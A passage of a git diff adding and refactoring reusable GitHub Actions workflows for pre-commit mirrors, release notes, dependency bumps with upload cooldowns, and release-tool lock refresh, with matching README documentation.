actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: diff --git a/.github/workflows/publish-pre-commit-mirror.yaml b/.github/workflows/publish-pre-commit-mirror.yaml new file mode 100644 index 0000000..0323732 --- /dev/null +++ b/.github/workflows/publish-pre-commit-mirror.yaml @@ -0,0 +1,181 @@ +name: ๐Ÿชž Publish pre-commit mirror +on: + workflow_call: + inputs: + package-name: + description: Package that pre-commit-mirror-maker wraps, such as pyproject-fmt + required: true + type: string + files-regex: + description: Regular expression for the files the mirrored hook accepts + required: true + type: string + exclude-newer: + description: Upload cutoff for the tools the shared Actions install from PyPI + type: string + default: 7 days + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + type: string + default: "" +permissions: {} +concurrency: + group: pre-commit-mirror-${{ github.repository }} + cancel-in-progress: false +jobs: + mirror: + name: ๐Ÿชž Mirror + runs-on: ubuntu-26.04 + timeout-minutes: 15 + permissions: + contents: write + steps: + - name: ๐Ÿšซ Refuse untrusted caller event + env: + EVENT_NAME: ${{ github.event_name }} + run: | + case "$EVENT_NAME" in + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; + esac + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: ๐Ÿ“ฆ Install uv + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: "0.13.7" + enable-cache: false + - name: โš™๏ธ Configure Git identity + run: | + set -euo pipefail + git config user.name 'Github Actions' + git config user.email '41898282+github-actions[bot]@users.noreply.github.com' + - name: ๐Ÿชž Generate mirror + id: generate + env: + EXCLUDE_NEWER: ${{ inputs.exclude-newer }} + EXCLUDE_NEWER_PACKAGE: ${{ inputs.exclude-newer-package }} + PACKAGE_NAME: ${{ inputs.package-name }} + FILES_REGEX: ${{ inputs.files-regex }} + run: | + set -euo pipefail + base=$(git rev-parse HEAD) + echo "base=$base" >>"$GITHUB_OUTPUT" + options=(--exclude-newer "$EXCLUDE_NEWER") + while IFS= read -r line; do + if [[ -n "$line" ]]; then options+=(--exclude-newer-package "$line"); fi + done <<<"$EXCLUDE_NEWER_PACKAGE" + uvx -p 3.15 "${options[@]}" --from pre-commit-mirror-maker==1.14.0 pre-commit-mirror . \ + --language=python --package-name="$PACKAGE_NAME" --files-regex "$FILES_REGEX" + if [[ "$(git rev-parse HEAD)" == "$base" ]]; then + echo 'No new mirror versions' + echo 'mirrored=false' >>"$GITHUB_OUTPUT" + else + echo 'mirrored=true' >>"$GITHUB_OUTPUT" + fi + - name: ๐Ÿ“ Update README with current version + if: ${{ steps.generate.outputs.mirrored == 'true' }} + run: | + set -euo pipefail + version=$(cat .version) + sed -i "s/rev: \".*\"/rev: \"v$version\"/" README.md + - name: ๐Ÿ’… Format generated files + if: ${{ steps.generate.outputs.mirrored == 'true' }} + env: + EXCLUDE_NEWER: ${{ inputs.exclude-newer }} + EXCLUDE_NEWER_PACKAGE: ${{ inputs.exclude-newer-package }} + run: | + set -euo pipefail + options=(--exclude-newer "$EXCLUDE_NEWER") + while IFS= read -r line; do + if [[ -n "$line" ]]; then options+=(--exclude-newer-package "$line"); fi + done <<<"$EXCLUDE_NEWER_PACKAGE" + prek=(uvx "${options[@]}" --from prek==0.5.5 prek) + # The first run exits 1 when a hook rewrites files; the second run must pass on the rewritten tree. + status=0 + "${prek[@]}" run --all-files || status=$? + case "$status" in + 0) + echo 'Formatting left the generated files unchanged' + ;; + 1) + echo 'Formatting rewrote generated files, checking the result' + "${prek[@]}" run --all-files + ;; + *) + echo "::error::prek exited with $status, not a file change" >&2 + exit "$status" + ;; + esac + - name: โš™๏ธ Configure Git credentials + env: + GH_TOKEN: ${{ github.token }} + run: gh auth setup-git --hostname github.com --force + - name: ๐Ÿ”„ Commit mirror changes + id: commit + if: ${{ steps.generate.outputs.mirrored == 'true' }} + env: + BASE: ${{ steps.generate.outputs.base }} + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + git add -A + # Folds the README and formatting changes into the newest mirror commit; its tag moves locally only. + if ! git diff --cached --quiet; then + git commit --quiet --amend --no-edit + git tag --force "v$(cat .version)" + fi + mapfile -t commits < <(git rev-list --reverse "$BASE..HEAD") + tags=() + for commit in "${commits[@]}"; do + tags+=("$(git tag --points-at "$commit")") + done + pushed=() + for tag in "${tags[@]}"; do + status=0 + git ls-remote --exit-code --tags origin "refs/tags/$tag" >/dev/null || status=$? + case "$status" in + 0) + git fetch --quiet --no-tags origin "refs/tags/$tag" + published=$(git rev-parse 'FETCH_HEAD^{tree}') + regenerated=$(git rev-parse "$tag^{tree}") + if [[ "$published" != "$regenerated" ]]; then + echo "::error::$tag is published with a different mirror tree ($published), the regenerated tree is $regenerated; bump the package version to publish new content" >&2 + exit 1 + fi + echo "::notice::$tag is already published with identical mirror content, not pushing it" + ;; + 2) pushed+=("$tag") ;; + *) + echo "::error::could not read tags from origin, git exited with $status" >&2 + exit "$status" + ;; + esac + done + echo "tags=${pushed[*]}" >>"$GITHUB_OUTPUT" + - name: ๐Ÿš€ Push mirror commits and tags + if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.tags != '' }} + env: + GH_TOKEN: ${{ github.token }} + NEW_TAGS: ${{ steps.commit.outputs.tags }} + run: | + set -euo pipefail + read -r -a tags <<<"$NEW_TAGS" + refs=() + for tag in "${tags[@]}"; do refs+=("refs/tags/$tag"); done + git push --atomic origin HEAD:refs/heads/main "${refs[@]}" + - name: ๐ŸŽ‰ Create GitHub releases + if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.tags != '' }} + env: + GH_TOKEN: ${{ github.token }} + NEW_TAGS: ${{ steps.commit.outputs.tags }} + run: | + set -euo pipefail + read -r -a tags <<<"$NEW_TAGS" + for tag in "${tags[@]}"; do + gh release create "$tag" --generate-notes + done diff --git a/.github/workflows/release-notes.yaml b/.github/workflows/release-notes.yaml new file mode 100644 index 0000000..3834f84 --- /dev/null +++ b/.github/workflows/release-notes.yaml @@ -0,0 +1,82 @@ +name: Render GitHub Release notes +on: + workflow_call: + inputs: + tag: + description: Release tag to render, such as 1.2.3 or pyproject-fmt/1.2.3 + required: true + type: string + changelog: + description: Tracked changelog path; empty reads the path from the committed Towncrier configuration + default: "" + type: string + artifact-url: + description: Published ecosystem release URL, one per line for several packages + default: "" + type: string + artifact-label: + description: Link text for each artifact-url line, in the same order; default PyPI release + default: "" + type: string + package: + description: Package section of a shared Markdown changelog; empty for one package + default: "" + type: string + exclude-newer: + description: Upload cutoff for the tools the shared Actions install from PyPI + default: 7 days + type: string + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + default: "" + type: string + outputs: + artifact-id: + description: Artifact ID of the rendered GitHub Release notes + value: ${{ jobs.notes.outputs.artifact-id }} +permissions: {} +jobs: + notes: + name: ๐Ÿ“ Render GitHub Release notes + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + artifact-id: ${{ steps.upload.outputs.artifact-id }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + persist-credentials: false + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + - id: towncrier + name: โš™๏ธ Read Towncrier configuration + uses: $/read-towncrier-config + - name: ๐Ÿ“ฆ Install locked release tools + uses: $/install-locked-tools + with: + groups: release-notes + venv: ${{ runner.temp }}/release-tools + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} + - name: ๐Ÿ“ Render release notes + uses: $/render-release-notes + with: + tag: ${{ inputs.tag }} + changelog: ${{ inputs.changelog || steps.towncrier.outputs.changelog }} + artifact-url: ${{ inputs.artifact-url }} + artifact-label: ${{ inputs.artifact-label }} + package: ${{ inputs.package }} + - name: ๐Ÿ“ค Upload release notes + id: upload + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: github-release-notes-${{ github.run_attempt }} + path: ${{ runner.temp }}/release-notes.md + if-no-files-found: error diff --git a/.github/workflows/update-python-dependencies.yaml b/.github/workflows/update-python-dependencies.yaml new file mode 100644 index 0000000..91833d2 --- /dev/null +++ b/.github/workflows/update-python-dependencies.yaml @@ -0,0 +1,291 @@ +name: ๐Ÿ“ฆ Update Python dependencies +on: + workflow_call: + inputs: + files: + description: Newline-separated bump-deps-index groups; each line is one run over its space-separated files + type: string + required: true + cooldown: + description: Upload age a bumped release needs, such as 7 days; 0 days turns the cooldown off + type: string + default: 7 days + expedite: + description: Whitespace-separated package names whose newest release skips the cooldown for this run + type: string + default: "" + kind: + description: app cools every bump; library keeps the fresh-groups dependencies fresh and cools the rest + type: string + default: app + fresh-groups: + description: Space-separated dependency groups that kind library keeps fresh; ignored for app + type: string + default: project test + exclude-newer: + description: Upload cutoff for the bump-deps-index install from PyPI + type: string + default: 7 days + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + type: string + default: "" + allowed-paths: + description: Newline-separated globs for files a repository hook regenerates, besides pylock.toml and bumped files + type: string + default: "" + branch: + description: Branch that holds the dependency commit + type: string + default: update-python-dependencies + title: + description: Pull request title, also the commit subject + type: string + default: Update Python dependencies + body: + description: Pull request body + type: string + default: Update dependency floors and the lock from the scheduled scan. + labels: + description: Newline-separated labels to add to the pull request + type: string + default: "" + secrets: + RELEASE_APP_PRIVATE_KEY: + description: Repo-only release App key + required: true +env: + # The bump-deps-index release with --exclude-newer-group and --exclude-newer-package. + BUMP_DEPS_INDEX: bump-deps-index>=1.19 +permissions: {} +jobs: + generate: + name: ๐Ÿ“ฆ Bump Python dependencies + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + changed: ${{ steps.patch.outputs.changed }} + artifact-id: ${{ steps.upload.outputs.artifact-id }} + allowed-paths: ${{ steps.inputs.outputs.allowed-paths }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 1 + persist-credentials: false + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + - id: inputs + name: โš™๏ธ Validate inputs and set the cutoffs + env: + ALLOWED_EXTRA: ${{ inputs.allowed-paths }} + COOLDOWN: ${{ inputs.cooldown }} + EXPEDITE: ${{ inputs.expedite }} + FILES: ${{ inputs.files }} + FRESH_GROUPS: ${{ inputs.fresh-groups }} + KIND: ${{ inputs.kind }} + run: | + set -euo pipefail + case "$KIND" in + app | library) ;; + *) + echo "::error::kind must be app or library, not $KIND" >&2 + exit 1 + ;; + esac + if [[ ! "$COOLDOWN" =~ ^[0-9]{1,4}\ days?$ ]]; then + echo "::error::cooldown must be N days, such as 7 days or 0 days, not '$COOLDOWN'" >&2 + exit 1 + fi + if ((${COOLDOWN%% *} == 0)); then + cutoff=none + echo 'Bump cooldown: off (cooldown 0 days), bumps take the newest release' + else + cutoff=$(date --utc --date="$COOLDOWN ago" '+%Y-%m-%dT%H:%M:%SZ') + echo "Bump cooldown: $COOLDOWN, releases uploaded before $cutoff" + fi + : >"$RUNNER_TEMP/expedite" + names=() + while IFS= read -r line; do + read -ra words <<<"$line" + names+=("${words[@]}") + done <<<"$EXPEDITE" + for name in "${names[@]}"; do + if [[ ! "$name" =~ ^[A-Za-z0-9]([A-Za-z0-9._-]*[A-Za-z0-9])?$ ]]; then + echo "::error::expedite entry '$name' is not a package name" >&2 + exit 1 + fi + printf '%s\n' "$name" >>"$RUNNER_TEMP/expedite" + done + if ((${#names[@]})); then + echo "Expedited past the cooldown for this run: ${names[*]}" + fi + : >"$RUNNER_TEMP/fresh-groups" + fresh=() + while IFS= read -r line; do + read -ra words <<<"$line" + fresh+=("${words[@]}") + done <<<"$FRESH_GROUPS" + for group in "${fresh[@]}"; do + if [[ ! "$group" =~ ^[A-Za-z0-9]([A-Za-z0-9._-]*[A-Za-z0-9])?$ ]]; then + echo "::error::fresh-groups entry '$group' is not a dependency group name" >&2 + exit 1 + fi + done + if [[ "$KIND" == library ]]; then + if ((${#fresh[@]})); then + printf '%s\n' "${fresh[@]}" >>"$RUNNER_TEMP/fresh-groups" + echo "Kept fresh past the cooldown (kind library): ${fresh[*]}; other groups stay cooled" + else + echo "::error::kind library needs at least one fresh-groups entry" >&2 + exit 1 + fi + fi + : >"$RUNNER_TEMP/file-groups" + bumped=() + while IFS= read -r group; do + if [[ -z "$group" ]]; then + continue + fi + read -ra words <<<"$group" + for word in "${words[@]}"; do + if [[ ! "$word" =~ ^[A-Za-z0-9_.][A-Za-z0-9._/-]*$ || "$word" == *..* ]]; then + echo "::error::files entry '$word' is not a plain relative path" >&2 + exit 1 + fi + bumped+=("$word") + done + printf '%s\n' "$group" >>"$RUNNER_TEMP/file-groups" + done <<<"$FILES" + if ((${#bumped[@]} == 0)); then + echo "::error::files lists no dependency file" >&2 + exit 1 + fi + printf 'cutoff=%s\n' "$cutoff" >>"$GITHUB_OUTPUT" + { + echo 'allowed-paths<>"$GITHUB_OUTPUT" + - id: tools + name: ๐Ÿ“ฆ Install locked release tools + uses: $/install-locked-tools + with: + groups: release-prepare + venv: ${{ runner.temp }}/release-tools + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} + background: true + - name: ๐Ÿ“ฆ Bump dependency floors + env: + CUTOFF: ${{ steps.inputs.outputs.cutoff }} + EXCLUDE_NEWER: ${{ inputs.exclude-newer }} + EXCLUDE_NEWER_PACKAGE: ${{ inputs.exclude-newer-package }} + UV_NO_CONFIG: "1" + run: | + set -euo pipefail + # Temporary: bump-deps-index 1.19.0 is younger than seven days. Delete after 2026-11-11. + bump=(uvx --exclude-newer "$EXCLUDE_NEWER" --exclude-newer-package bump-deps-index=2026-11-04T02:21:00Z) + while IFS= read -r line; do + if [[ -n "$line" ]]; then + bump+=(--exclude-newer-package "$line") + fi + done <<<"$EXCLUDE_NEWER_PACKAGE" + bump+=("$BUMP_DEPS_INDEX") + args=() + if [[ "$CUTOFF" == none ]]; then + args+=(--no-exclude-newer) + else + args+=(--exclude-newer "$CUTOFF") + fi + while IFS= read -r name; do + if [[ -n "$name" ]]; then + args+=(--exclude-newer-package "$name=false") + fi + done <"$RUNNER_TEMP/expedite" + while IFS= read -r group; do + if [[ -n "$group" ]]; then + args+=(--exclude-newer-group "$group=false") + fi + done <"$RUNNER_TEMP/fresh-groups" + while IFS= read -r group; do + read -ra files <<<"$group" + echo "Bumping ${files[*]}" + "${bump[@]}" "${args[@]}" --file "${files[@]}" + done <"$RUNNER_TEMP/file-groups" + - name: โณ Wait for locked release tools + wait: tools + - id: install-hooks + name: ๐Ÿงน Install prek hooks + uses: $/cooled-prek + with: + args: install-hooks + background: true + - name: ๐Ÿ”’ Refresh release lock + uses: $/refresh-release-lock + with: + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} + - name: โณ Wait for prek hooks + wait: install-hooks + - name: ๐Ÿ“‘ Stage dependency changes + run: git add --all + - id: hooks + name: ๐Ÿงน Run repository hooks + continue-on-error: true + uses: $/cooled-prek + with: + args: run --all-files + - name: ๐Ÿงน Reject hook failures that changed no file + if: steps.hooks.outcome == 'failure' + run: | + set -euo pipefail + if git diff --quiet; then + echo '::error::repository hooks failed without changing a file' >&2 + exit 1 + fi + echo 'Repository hooks changed files before failing; the pull request checks verify the result' + - id: patch + name: ๐Ÿ“ Write maintenance patch + run: | + set -euo pipefail + git add --all + if git diff --cached --quiet; then + echo 'changed=false' >>"$GITHUB_OUTPUT" + echo 'Maintenance patch skipped: no tracked file changed' + exit 0 + fi + git diff --cached --binary --no-ext-diff --no-renames >"$RUNNER_TEMP/maintenance.patch" + echo 'changed=true' >>"$GITHUB_OUTPUT" + echo "Maintenance patch -> $RUNNER_TEMP/maintenance.patch:" + git diff --cached --stat + - id: upload + name: ๐Ÿ“ค Upload maintenance patch + if: steps.patch.outputs.changed == 'true' + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: maintenance-patch + path: ${{ runner.temp }}/maintenance.patch + if-no-files-found: error + retention-days: 1 + open: + name: ๐Ÿ”€ Open dependency pull request + needs: generate + if: needs.generate.outputs.changed == 'true' + permissions: + contents: read + uses: $/.github/workflows/open-maintenance-pr.yaml + with: + artifact-id: ${{ needs.generate.outputs.artifact-id }} + allowed-paths: ${{ needs.generate.outputs.allowed-paths }} + branch: ${{ inputs.branch }} + title: ${{ inputs.title }} + body: ${{ inputs.body }} + labels: ${{ inputs.labels }} + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} diff --git a/.github/workflows/update-tools.yaml b/.github/workflows/update-tools.yaml index 5bb9979..3ccf74e 100644 --- a/.github/workflows/update-tools.yaml +++ b/.github/workflows/update-tools.yaml @@ -13,7 +13,6 @@ jobs: secrets: RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} with: - commit-message: "๐Ÿ”ง build: refresh release tool lock" pull-request-title: "๐Ÿ”ง build: refresh release tool lock" pull-request-body: "Refresh the locked tools used by release preparation and CI." # Temporary: release-creator 4.3.2 is younger than seven days. Delete after 2026-11-06. diff --git a/.github/workflows/upgrade-release-tools.yaml b/.github/workflows/upgrade-release-tools.yaml index c0b2388..6d97872 100644 --- a/.github/workflows/upgrade-release-tools.yaml +++ b/.github/workflows/upgrade-release-tools.yaml @@ -26,10 +26,6 @@ on: description: Space-separated implementations for the secondary lock type: string default: "" - commit-message: - description: Commit message for the refreshed dependency files - type: string - default: "๐Ÿ”ง build(deps): refresh release tools" pull-request-title: description: Title for the dependency pull request type: string @@ -73,6 +69,8 @@ jobs: version: latest-known python-version: "3.15" enable-cache: false + - name: ๐Ÿ“… Check cutoff exception expiry + uses: $/check-nab-exceptions - name: ๐Ÿ”’ Refresh release lock id: lock uses: $/refresh-release-lock @@ -85,136 +83,32 @@ jobs: additional-matrix-implementations: ${{ inputs.additional-matrix-implementations }} exclude-newer: ${{ inputs.exclude-newer }} exclude-newer-package: ${{ inputs.exclude-newer-package }} - - name: ๐Ÿ“ค Upload lock patch + - name: ๐Ÿ“ค Upload maintenance patch id: upload uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 if: steps.lock.outputs.changed == 'true' with: - name: release-tools-lock - path: ${{ runner.temp }}/lock.patch + name: maintenance-patch + path: ${{ runner.temp }}/maintenance.patch if-no-files-found: error retention-days: 7 - publish: + open: name: ๐Ÿ”€ Open release tools PR needs: generate-lock if: needs.generate-lock.outputs.changed == 'true' - runs-on: ubuntu-26.04 - environment: release-auth permissions: contents: read - steps: - - name: ๐Ÿ“ฅ Check out repository - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - with: - ref: ${{ github.sha }} - fetch-depth: 0 - persist-credentials: false - - name: ๐Ÿ“ฉ Download lock patch - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 - with: - artifact-ids: ${{ needs.generate-lock.outputs.artifact-id }} - path: ${{ runner.temp }}/release-tools-lock - - name: ๐Ÿ” Check artifact patch paths - env: - ADDITIONAL_LOCK: ${{ inputs.additional-lock }} - run: | - set -euo pipefail - GIT_INDEX_FILE="$RUNNER_TEMP/lock.index" git read-tree HEAD - GIT_INDEX_FILE="$RUNNER_TEMP/lock.index" git apply --cached "$RUNNER_TEMP/release-tools-lock/lock.patch" - GIT_INDEX_FILE="$RUNNER_TEMP/lock.index" \ - git diff --cached --name-only --no-renames -z >"$RUNNER_TEMP/lock-paths" - while IFS= read -r -d '' path; do - if [[ "$path" != pylock.toml && "$path" != "$ADDITIONAL_LOCK" ]]; then - echo "::error::unexpected lock patch path: $path" >&2 - exit 1 - fi - echo "Lock patch path: $path (allowed lock)" - done <"$RUNNER_TEMP/lock-paths" - - name: ๐Ÿ”’ Apply lock patch - run: git apply --index --verbose "$RUNNER_TEMP/release-tools-lock/lock.patch" - - name: ๐Ÿ” Check dependency patch file mode - run: | - set -euo pipefail - git diff --cached --raw --no-renames -z >"$RUNNER_TEMP/dependency-modes" - while IFS= read -r -d '' metadata && IFS= read -r -d '' path; do - read -ra fields <<<"$metadata" - if [[ "${fields[1]}" != 100644 ]]; then - echo "::error::unexpected dependency file mode in $path: ${fields[1]}" >&2 - exit 1 - fi - echo "Lock patch file mode: $path is a regular non-executable file" - done <"$RUNNER_TEMP/dependency-modes" - - name: ๐Ÿท๏ธ Commit refreshed tools - env: - COMMIT_MESSAGE: ${{ inputs.commit-message }} - run: | - git config user.name 'github-actions[bot]' - git config user.email '41898282+github-actions[bot]@users.noreply.github.com' - git commit -m "$COMMIT_MESSAGE" - - id: repository - name: โš™๏ธ Select the current repository - env: - REPOSITORY: ${{ github.repository }} - run: echo "name=${REPOSITORY#*/}" >>"$GITHUB_OUTPUT" - - name: ๐Ÿ”‘ Create release App token - id: token - uses: actions/create-github-app-token@64ab729a6294000f5aa4a4bc0b73d1f32bc45510 # v3.3.0 - with: - client-id: ${{ vars.RELEASE_APP_CLIENT_ID }} - private-key: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} - owner: ${{ github.repository_owner }} - repositories: ${{ steps.repository.outputs.name }} - permission-contents: write - permission-pull-requests: write - - name: โฌ†๏ธ Push dependency branch - env: - GH_TOKEN: ${{ steps.token.outputs.token }} - run: | - gh auth setup-git --hostname github.com --force - echo 'Pushing automation/update-release-tools, replacing any earlier refresh (force with lease)' - git push --force-with-lease origin HEAD:refs/heads/automation/update-release-tools - - name: ๐Ÿ“ Write dependency pull request body - env: - PR_BODY: ${{ inputs.pull-request-body }} - run: printf '%s\n' "$PR_BODY" >"$RUNNER_TEMP/pull-request.md" - - name: ๐Ÿ”€ Find dependency pull request - id: pr - env: - GH_TOKEN: ${{ steps.token.outputs.token }} - run: | - set -euo pipefail - owner=${GITHUB_REPOSITORY%%/*} - number=$( - gh api -X GET "repos/$GITHUB_REPOSITORY/pulls" -f state=open \ - -f head="$owner:automation/update-release-tools" -f base=main | - jq -r --arg repository "$GITHUB_REPOSITORY" ' - [.[] | select(.head.repo.full_name == $repository and - .head.ref == "automation/update-release-tools" and .base.ref == "main")] | - if length == 0 then "" - elif length == 1 then .[0].number - else error("multiple dependency pull requests") end - ' - ) - if [[ -n "$number" ]]; then - echo "Dependency pull request: #$number is open, updating it" - else - echo 'Dependency pull request: none open, opening one' - fi - echo "number=$number" >>"$GITHUB_OUTPUT" - - name: ๐Ÿ”€ Update dependency pull request - if: steps.pr.outputs.number != '' - env: - GH_TOKEN: ${{ steps.token.outputs.token }} - PR_NUMBER: ${{ steps.pr.outputs.number }} - PR_TITLE: ${{ inputs.pull-request-title }} - run: | - gh pr edit "$PR_NUMBER" --title "$PR_TITLE" --body-file "$RUNNER_TEMP/pull-request.md" \ - --add-label dependencies --add-label 'skip news' - - name: ๐Ÿ”€ Open dependency pull request - if: steps.pr.outputs.number == '' - env: - GH_TOKEN: ${{ steps.token.outputs.token }} - PR_TITLE: ${{ inputs.pull-request-title }} - run: | - gh pr create --base main --head automation/update-release-tools --title "$PR_TITLE" \ - --body-file "$RUNNER_TEMP/pull-request.md" --label dependencies --label 'skip news' + uses: $/.github/workflows/open-maintenance-pr.yaml + with: + artifact-id: ${{ needs.generate-lock.outputs.artifact-id }} + allowed-paths: | + pylock.toml + ${{ inputs.additional-lock }} + branch: automation/update-release-tools + title: ${{ inputs.pull-request-title }} + body: ${{ inputs.pull-request-body }} + labels: | + dependencies + skip news + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} diff --git a/README.md b/README.md index b614d7b..28b51c3 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,9 @@ # GitHub workflows -Composite Actions check PR news, prepare a Towncrier release, verify its patch, push an App-authored commit and tag, and -render GitHub Release notes. The reusable Python release workflow builds and checks wheels and sdists. Each repository -keeps its dispatch form, publisher, GitHub environment, and required check names. +Composite actions (called Actions below) and reusable workflows install locked tools, check pull request news, run tox +and CodeQL, prepare releases, push App-authored release commits and tags, publish GitHub Releases, JetBrains plugins, +pre-commit mirrors and LaTeX PDFs, and keep dependencies current. Each repository keeps its dispatch form, publisher, +GitHub environment, and required check names. ## Install locked tools @@ -57,6 +58,242 @@ reusable workflow that installs such a tool takes two inputs: The tools the caller's release jobs run, such as release-creator, Towncrier, and prek, still come hash-checked from the caller's `pylock.toml`. +## Expire cutoff exceptions + +A `[tool.nab]` exception that admits one package past the cutoff, `packages..uploaded-prior-to`, carries its +expiry date in a comment directly above the package table header or dotted key: + +```toml +# expires 2026-11-09 +[tool.nab.packages.release-creator] +uploaded-prior-to = 2026-11-02T21:45:00Z +``` + +Nab rejects unknown keys in a package table, so the date cannot sit beside the value. The date is the last day the +exception is valid. The check fails when an exception has no such comment, a malformed date, or a date that has passed, +and names the package. A standalone `nab.toml` is checked the same way. An exception in `[[tool.nab.package-rules]]` is +rejected, since the check does not read those tables; move it to a package table. + +The check runs in three places: + +- `upgrade-release-tools.yaml`, before it refreshes the lock. Every caller's scheduled run therefore fails on an expired + or undated exception, even when no release input changed. + +- `refresh-release-lock` in `check` mode, which `validate-news` calls when a pull request changes `pyproject.toml`, + `pylock.toml`, a root `pylock.*.toml`, or `nab.toml`. + +- The `check-nab-exceptions` Action on its own. It reads `pyproject.toml` and `nab.toml` from the checkout and takes no + inputs: + + ```yaml + - uses: tox-dev/github-workflows/check-nab-exceptions@SHA + ``` + +Hook environments install under the same seven-day upload cutoff, with the repository's uv settings ignored. A package +with a `packages..uploaded-prior-to` exception in `[tool.nab]` is admitted up to that date in hook environments +too, so a hook dependency pinned to a release newer than the cutoff, such as `sphinx` for `docstrfmt`, needs the same +temporary exception the release lock uses. Delete the exception once the release is a week old. + +## Refresh release tools + +Call `upgrade-release-tools.yaml` from a scheduled or manual workflow. Its read-only job refreshes the universal +`pylock.toml` with `nab lock --all-groups --all-extras --no-cache --upgrade`, which records runtime dependencies, all +extras, and all dependency groups. The project's `[tool.nab]` table sets the cutoff and any per-package exception; the +caller adds and removes those exceptions itself. uv only installs tools and never resolves the lock. + +The job uploads a patch, which may change only `pylock.toml` and an explicitly configured secondary Nab lock. The writer +checks the patch before minting the App token. It then opens or updates one dependency PR from +`automation/update-release-tools` to `main`. A lock update runs the normal PR checks before merge. + +The writer uses a repository-only release App with Contents and Pull requests write access. Install the App on this +repository, set `RELEASE_APP_CLIENT_ID` as a repository variable, and store `RELEASE_APP_PRIVATE_KEY` in the +`release-auth` environment. Restrict that environment to `main`. Create `dependencies` and `skip news` labels, and allow +the App to push the dependency branch. The caller supplies the secret by name; GitHub requires this mapping even when +the key exists only in the writer job's environment. + +```yaml +name: Upgrade release tools +on: + workflow_dispatch: + schedule: + - cron: 0 8 * * 2 +permissions: {} +jobs: + upgrade: + uses: >- + tox-dev/github-workflows/.github/workflows/upgrade-release-tools.yaml@SHA + permissions: + contents: read + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} +``` + +`pylock.toml` must come from `nab lock --all-groups --all-extras`; relock a `release-creator locks` lock with Nab before +re-pinning. Tests install test, type, and documentation tools afresh to detect upstream dependency changes. The updater +also refreshes a caller's secondary Nab build-matrix lock when `additional-lock` and its matrix inputs are set. + +The optional `pull-request-title` and `pull-request-body` inputs replace the default text, and the title is also the +commit subject. The workflow never updates a committed `uv.lock`. Build constraints are generated from the lock's +`build` group at runtime. + +For a second lock such as `pylock.build.toml`, set `additional-lock`, `additional-matrix-python`, +`additional-matrix-platforms`, and `additional-matrix-implementations`. `additional-lock-groups` selects dependency +groups in that lock; with no groups, the updater selects build requirements. Set `additional-lock-selection: project` +for a lock that selects the project's runtime dependencies instead. The updater writes both locks in the same dependency +PR. The writer accepts only those locks. Pass the same `additional-lock` and matrix inputs to `validate-news` in the PR +workflow. It checks changes to either lock against the project, including a PR that changes only the secondary lock. + +`refresh-release-lock` is the read-only half of the updater. In `refresh` mode, it upgrades the full primary lock and +writes `$RUNNER_TEMP/maintenance.patch` if a lock changes. In `check` mode, it regenerates the primary lock without +upgrading and fails if anything other than Nab's recorded command line differs. + +Check mode installs the Nab version that the committed `pylock.toml` records in `[tool.nab] nab-version`, and fails if +the lock has none, because a newer Nab would rewrite that field in every committed lock. Refresh mode installs the +newest Nab under the cutoff. Every Nab run unsets `SSL_CERT_FILE` and `SSL_CERT_DIR`, so Nab uses its own certificate +store. + +`validate-news` calls check mode when a PR changes release inputs, including a workspace member's `pyproject.toml` or a +secondary lock. The resulting PR's normal formatting job runs `prek`; the writer checks patch paths and modes. Its +`changed` output is `true` only when the refresh produces a patch. Neither mode pushes a branch or requests a write +token. + +Shared workflows run every `prek` command through the `cooled-prek` Action, which passes +`--config .pre-commit-config.yaml`. Without that flag, prek prefers a root `prek.toml` and also runs nested +configurations, which no guard checks. + +## Update Python dependencies + +`update-python-dependencies.yaml` bumps the direct requirements in the files you name, regenerates `pylock.toml`, runs +the repository's hooks, and opens a dependency pull request. With `kind: app` (default) every bumped floor waits out the +cooldown, and so does every locked 